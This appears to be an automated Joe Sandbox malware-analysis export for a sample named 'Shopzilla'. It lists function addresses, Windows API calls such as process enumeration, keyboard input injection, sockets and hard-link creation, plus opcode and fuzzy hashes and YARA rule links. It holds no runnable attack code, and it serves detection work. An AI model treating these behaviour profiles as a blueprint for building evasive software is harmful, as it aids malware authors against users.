Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: BuffCharLower$AllocVirtual_memmove
String ID:
API String ID: 3659485706-0
Opcode ID: 5b1867c599a6fd43a9ba5484e2afac81be61960cb44b43581f6cd03d1b4474a9
Instruction ID: 6192bd5b5bebe516260183a6b27648ee973583f77bac12d4406fae44ab9953d8
Opcode Fuzzy Hash: 5b1867c599a6fd43a9ba5484e2afac81be61960cb44b43581f6cd03d1b4474a9
Instruction Fuzzy Hash: B7C12871A083019FC714DF28C490AAABBE4FF89718F14896DF899DB351D771EA85CB81

Function 00C18545 Relevance: 6.3, APIs: 4, Instructions: 267COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00C18575
CoUninitialize.OLE32 ref: 00C18580

Part of subcall function 00C2DC66: CoCreateInstance.OLE32(00000018,00000000,00000005,00000028,?,?,?,?,?,00000000,00000000,00000000,?,00C187D6,?,00000000), ref: 00C2DCCE

VariantInit.OLEAUT32(?), ref: 00C1858B
VariantClear.OLEAUT32(?), ref: 00C1885C

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: Variant$ClearCreateInitInitializeInstanceUninitialize
String ID:
API String ID: 780911581-0
Opcode ID: 127543054f6e47ebe8a360e159192ec14f46e9285f15c0d1b9458b6a6a1518a4
Instruction ID: aedb5b0ed371ef727a52d8e41733ab6dc0a7c51b37cfaeba47225a3aa7937d36
Opcode Fuzzy Hash: 127543054f6e47ebe8a360e159192ec14f46e9285f15c0d1b9458b6a6a1518a4
Instruction Fuzzy Hash: DCA15975608B019FD710EF14C481B5AB7E4BF8A314F148998F9999B3A1CB70FD84DB92

Function 00BF727E Relevance: 6.2, APIs: 4, Instructions: 202memoryCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00BF728F
SysAllocString.OLEAUT32(00000000), ref: 00BF7338
VariantCopy.OLEAUT32 ref: 00BF7367
VariantClear.OLEAUT32(?), ref: 00BF738E

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: Variant$AllocClearCopyInitString
String ID:
API String ID: 2808897238-0
Opcode ID: 60dcf3089b7b5163114f603b56917e48fdd445f0f0d5c3e2917336d7449730a8
Instruction ID: 23dba7dbfe18b3b92148b844e9e409df31b691137fc96e64ec0f70c017da06fc
Opcode Fuzzy Hash: 60dcf3089b7b5163114f603b56917e48fdd445f0f0d5c3e2917336d7449730a8
Instruction Fuzzy Hash: 2C51D53069870A9ADB20AF65D8D1B3DF7E9EF55310B2098DFE646CB391DF3098888715

Function 00C1F2BE Relevance: 6.2, APIs: 4, Instructions: 164processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00C1F2EE
Process32FirstW.KERNEL32(00000000,?), ref: 00C1F2FC

Part of subcall function 00BB1A36: _memmove.LIBCMT ref: 00BB1A77

Process32NextW.KERNEL32(00000000,?), ref: 00C1F3BC
CloseHandle.KERNEL32(00000000,?,?,?), ref: 00C1F3CB

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32_memmove
String ID:
API String ID: 2576544623-0
Opcode ID: 3e42147f64c174577f8219ca6a6388a1d9b3d22ab9a07e99b0c8ec439c8a0a6a
Instruction ID: dba274a8e8b06a8bc8ee148ba513e8fbb8959a7795322c6fd1f7c034553bb1b6
Opcode Fuzzy Hash: 3e42147f64c174577f8219ca6a6388a1d9b3d22ab9a07e99b0c8ec439c8a0a6a
Instruction Fuzzy Hash: 54519D715083009FC310EF24D881BAFBBE8EF85700F40496DF595872A1EBB0E945CB92

Function 00C29BE1 Relevance: 6.1, APIs: 4, Instructions: 140COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 00C29C50
ScreenToClient.USER32(00000002,00000002), ref: 00C29C83
MoveWindow.USER32(?,?,?,?,000000FF,00000001,?,?,00000002,?,?), ref: 00C29CF0

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: Window$ClientMoveRectScreen
String ID:
API String ID: 3880355969-0
Opcode ID: f681720799a4fba49c5745fec943fc1045652626ad2cb17323b8c98488a45a25
Instruction ID: ef847450e2894650ea2c2d0e6c56c48f0f1ac3550108f44d6efe9055e90d69d5
Opcode Fuzzy Hash: f681720799a4fba49c5745fec943fc1045652626ad2cb17323b8c98488a45a25
Instruction Fuzzy Hash: BB515131A00119AFDF24DF68D880AAE7BF6FF45320F208159F96597690D770AE41DB90

Function 00BC485A Relevance: 6.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00BC48F0
__flush.LIBCMT ref: 00BC4910
__write.LIBCMT ref: 00BC4943
__flsbuf.LIBCMT ref: 00BC4971

Part of subcall function 00BC8C88: __getptd_noexit.LIBCMT ref: 00BC8C88

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: __flsbuf__flush__getptd_noexit__write_memmove
String ID:
API String ID: 2782032738-0
Opcode ID: a7c34a093fdd5ab58b6ffc98053f9d5ae49c5acda348f4cccab4e545be81f79d
Instruction ID: 215a9601f9bb3b7b63e0e23138ea6fa965beebd7507d19a0c497778619138898
Opcode Fuzzy Hash: a7c34a093fdd5ab58b6ffc98053f9d5ae49c5acda348f4cccab4e545be81f79d
Instruction Fuzzy Hash: 6041B371B006559FDF288E69C8A0FAF77F5EF85360B2485BDE85587640DBB0DE408B50

Function 00BFA41B Relevance: 6.1, APIs: 4, Instructions: 129windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000004,00000000), ref: 00BFA46D
__itow.LIBCMT ref: 00BFA49E

Part of subcall function 00BFA6EE: SendMessageW.USER32(?,0000113E,00000000,00000000), ref: 00BFA759

SendMessageW.USER32(?,0000110A,00000001,?), ref: 00BFA507
__itow.LIBCMT ref: 00BFA55E

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: MessageSend$__itow
String ID:
API String ID: 3379773720-0
Opcode ID: 018526aca13f9342703c3bc60c36f081b74916bff4ab9e1ca16b4b62d99b5e69
Instruction ID: 591d1f77a65f729852ca05677071c482ff23af2bd65bb0ae96cf86151a2e117a
Opcode Fuzzy Hash: 018526aca13f9342703c3bc60c36f081b74916bff4ab9e1ca16b4b62d99b5e69
Instruction Fuzzy Hash: EC4175B0A0020CABDF15DF54C865BFE7BF9EB54750F404099FA05A7281DBB49948C752

Function 00C16E5A Relevance: 6.1, APIs: 4, Instructions: 127networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000002,00000011), ref: 00C16E81
WSAGetLastError.WSOCK32(00000000), ref: 00C16E91

Part of subcall function 00BA4D37: __itow.LIBCMT ref: 00BA4D62
Part of subcall function 00BA4D37: __swprintf.LIBCMT ref: 00BA4DAC

#21.WSOCK32(?,0000FFFF,00000020,00000002,00000004), ref: 00C16EF5
WSAGetLastError.WSOCK32(00000000), ref: 00C16F01

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: ErrorLast$__itow__swprintfsocket
String ID:
API String ID: 2214342067-0
Opcode ID: 59356a118d667dab4f55cac7977ac9bddccb32cf054fe1bbfda5d086dfc7b62f
Instruction ID: a2854de6a42758e08c0910af8d4864b427ed8b453428d8263282751b9b4fd1c5
Opcode Fuzzy Hash: 59356a118d667dab4f55cac7977ac9bddccb32cf054fe1bbfda5d086dfc7b62f
Instruction Fuzzy Hash: E941C035754200AFEB20AF64DC86F6A77E49F46B14F148498FA599B3C2DBB0AD018B91

Function 00C168CA Relevance: 6.1, APIs: 4, Instructions: 116COMMON

Download Yara Rule

APIs

#16.WSOCK32(?,?,00000000,00000000,00000000,00000000,?,?,00000000,00C30980), ref: 00C16957
_strlen.LIBCMT ref: 00C16989

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: _strlen
String ID:
API String ID: 4218353326-0
Opcode ID: 23b529b41976a01cb7bffa4cf30039443a134f8db02150fcf43e4dd38fec8567
Instruction ID: ac7d0e3fe68af9c08212c609542b258e01cc3331a16db04a96c2d8043419ba10
Opcode Fuzzy Hash: 23b529b41976a01cb7bffa4cf30039443a134f8db02150fcf43e4dd38fec8567
Instruction Fuzzy Hash: 1941B731600108AFCB14FB64DC91FFEB7E9AF45310F148199F95697292DB30AE84E790

Function 00C0BCA4 Relevance: 6.1, APIs: 4, Instructions: 111fileCOMMON

Download Yara Rule

APIs

CreateHardLinkW.KERNEL32(00000002,?,00000000), ref: 00C0BD4E
GetLastError.KERNEL32(?,00000000), ref: 00C0BD74
DeleteFileW.KERNEL32(00000002,?,00000000), ref: 00C0BD99
CreateHardLinkW.KERNEL32(00000002,?,00000000,?,00000000), ref: 00C0BDC5

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: CreateHardLink$DeleteErrorFileLast
String ID:
API String ID: 3321077145-0
Opcode ID: d034cdecbd7edd6b7dabc73dc9834a46ca7ffa6eb28a976c809dd43f4ceeae5e
Instruction ID: 4952feeda8d219e7f3a9782171164efb268cf12c8611a96ec815a44d0a14c533
Opcode Fuzzy Hash: d034cdecbd7edd6b7dabc73dc9834a46ca7ffa6eb28a976c809dd43f4ceeae5e
Instruction Fuzzy Hash: 4D412A35200A14DFCB11EF15C485A5EBBE1EF8A310B19C4D8E95A9B362CB70FD01DB91

Function 00C28C3E Relevance: 6.1, APIs: 4, Instructions: 109COMMON

Download Yara Rule

APIs

InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 00C28CCB

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: InvalidateRect
String ID:
API String ID: 634782764-0
Opcode ID: c635e06a5420f454cf34427466d76523cdfc5beeef28aea47bfd096d942617d3
Instruction ID: a25a4f1a05a2f16afcf26edb0e618b8ac809019191edfce0618b9ef7b12ca4f7
Opcode Fuzzy Hash: c635e06a5420f454cf34427466d76523cdfc5beeef28aea47bfd096d942617d3
Instruction Fuzzy Hash: B231C334603139AFEF349E19EC85BAD37A4EB55310F244512F921E6AE1CF30AA5C9B91

Function 00C2AF24 Relevance: 6.1, APIs: 4, Instructions: 106windowCOMMON

Download Yara Rule

APIs

ClientToScreen.USER32(?,?), ref: 00C2AF4D
GetWindowRect.USER32(?,?), ref: 00C2AFC3
PtInRect.USER32(?,?,00C2C437), ref: 00C2AFD3
MessageBeep.USER32(00000000), ref: 00C2B044

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: Rect$BeepClientMessageScreenWindow
String ID:
API String ID: 1352109105-0
Opcode ID: 677f214287bd559127d8037ac4a34d56e8124ebbd2b1c599164ba48a822e5606
Instruction ID: 7a9a113a6101e331406073def7f887d0a726a7683bf1df3a53fc9ac67c6b5bf1
Opcode Fuzzy Hash: 677f214287bd559127d8037ac4a34d56e8124ebbd2b1c599164ba48a822e5606
Instruction Fuzzy Hash: A3418AB0600225DFCB22CF59E884BAEBBF5FF49310F1881A9E9249B651C771ED41DB91

Function 00C01141 Relevance: 6.1, APIs: 4, Instructions: 105keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,00000000,?,00000001), ref: 00C01192
SetKeyboardState.USER32(00000080,?,00000001), ref: 00C011AE
PostMessageW.USER32(00000000,00000102,00000001,00000001), ref: 00C01214
SendInput.USER32(00000001,00000000,0000001C,00000000,?,00000001), ref: 00C01266

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: 4fb0b9d45634d805df6cc7f1545c5eeb64a57bf2ea394188b8007d1149d1be20
Instruction ID: a5200e3e3fcc72170ed7bc23a08662a8ee3d77fc24825db59a717056a4a6cc60
Opcode Fuzzy Hash: 4fb0b9d45634d805df6cc7f1545c5eeb64a57bf2ea394188b8007d1149d1be20
Instruction Fuzzy Hash: B1317A30984218AEFF34CA658C05BFDFB69AB45720F1C420AFDA1D21D1C3748E51DBA5

Function 00C0127C Relevance: 6.1, APIs: 4, Instructions: 101keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,75C0C0D0,?,00008000), ref: 00C012D1
SetKeyboardState.USER32(00000080,?,00008000), ref: 00C012ED
PostMessageW.USER32(00000000,00000101,00000000), ref: 00C0134C
SendInput.USER32(00000001,?,0000001C,75C0C0D0,?,00008000), ref: 00C0139E

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: 61f29bc3af26b09702a80e63957658ef0762fb471e4417cf6802eac80bbe5831
Instruction ID: 1a7ae3174fbaf1f66c9c6e377bf3da388e8e5ca6068838c6c041bba3f4c3512f
Opcode Fuzzy Hash: 61f29bc3af26b09702a80e63957658ef0762fb471e4417cf6802eac80bbe5831
Instruction Fuzzy Hash: 38315830E446489EFF348B698C147FEFBA9AF45320F5C421AF8A0925E1C3748A95DB95

Function 00BD6325 Relevance: 6.1, APIs: 4, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 00BD635B
__isleadbyte_l.LIBCMT ref: 00BD6389
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 00BD63B7
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 00BD63ED

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 0c6c1b9ccaae6e7e9e84a3b9db10d220f948baad789d4eb54e28ef2f4aae0a2a
Instruction ID: dfa7c9b73f94963e6a66695cbb9f87b7bc689342888e467cab21805c6b977e61
Opcode Fuzzy Hash: 0c6c1b9ccaae6e7e9e84a3b9db10d220f948baad789d4eb54e28ef2f4aae0a2a
Instruction Fuzzy Hash: 2C319031600256AFDB258F69C884BAEBBF5FF41320F1541AAF86487291F731E850DB94

Function 00C252F3 Relevance: 6.1, APIs: 4, Instructions: 95COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 00C25307

Part of subcall function 00C039A1: GetWindowThreadProcessId.USER32(00000000,00000000), ref: 00C039BB
Part of subcall function 00C039A1: GetCurrentThreadId.KERNEL32 ref: 00C039C2
Part of subcall function 00C039A1: AttachThreadInput.USER32(00000000,?,00C0542D), ref: 00C039C9

GetCaretPos.USER32(?), ref: 00C25318
ClientToScreen.USER32(00000000,?), ref: 00C25353
GetForegroundWindow.USER32 ref: 00C25359

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: ThreadWindow$Foreground$AttachCaretClientCurrentInputProcessScreen
String ID:
API String ID: 2759813231-0
Opcode ID: 785afad68a4f71048dea5f4f7db0704bc0daab6bf796540b628d07c184634688
Instruction ID: 22cc842e166c291b657d438456dff1cbadcc94e2cfc1522ea5050e534c26d7e3
Opcode Fuzzy Hash: 785afad68a4f71048dea5f4f7db0704bc0daab6bf796540b628d07c184634688
Instruction Fuzzy Hash: 58312E72900108AFDB10EFA5D885AEFB7F9EF95304F1044AAE415E7241DBB1AE458BA1

Function 00C2C8BB Relevance: 6.1, APIs: 4, Instructions: 83windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00BA29E2: GetWindowLongW.USER32(?,000000EB), ref: 00BA29F3

GetCursorPos.USER32(?), ref: 00C2C8F5
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000,?,00BDBC1C,?,?,?,?,?), ref: 00C2C90A
GetCursorPos.USER32(?), ref: 00C2C957
DefDlgProcW.USER32(?,0000007B,?,?,?,?,?,?,?,?,?,?,00BDBC1C,?,?,?), ref: 00C2C991

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: Cursor$LongMenuPopupProcTrackWindow
String ID:
API String ID: 2864067406-0
Opcode ID: 017abea5f972734a19ca7772b5a04497beaa1137e96eacb2541101127e3579de
Instruction ID: 44a69d1ea4eee21d8df5d472ae568d1de5d28b9d337dc59b301c0728bb1d5b76
Opcode Fuzzy Hash: 017abea5f972734a19ca7772b5a04497beaa1137e96eacb2541101127e3579de
Instruction Fuzzy Hash: 9731D235600128AFCB25DF59E894FEE7BB9EB4E310F044169F91587661C7315EA0DFA0

Function 00BC0AEB Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

APIs

__setmode.LIBCMT ref: 00BC0B0D

Part of subcall function 00BB402A: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,00C07CBE,?,?,00000000), ref: 00BB4041
Part of subcall function 00BB402A: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,?,00000000,00000000,?,?,00C07CBE,?,?,00000000,?,?), ref: 00BB4065

_fprintf.LIBCMT ref: 00BC0B44
OutputDebugStringW.KERNEL32(?), ref: 00BF672F

Part of subcall function 00BC4BFA: _flsall.LIBCMT ref: 00BC4C13

__setmode.LIBCMT ref: 00BC0B79

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

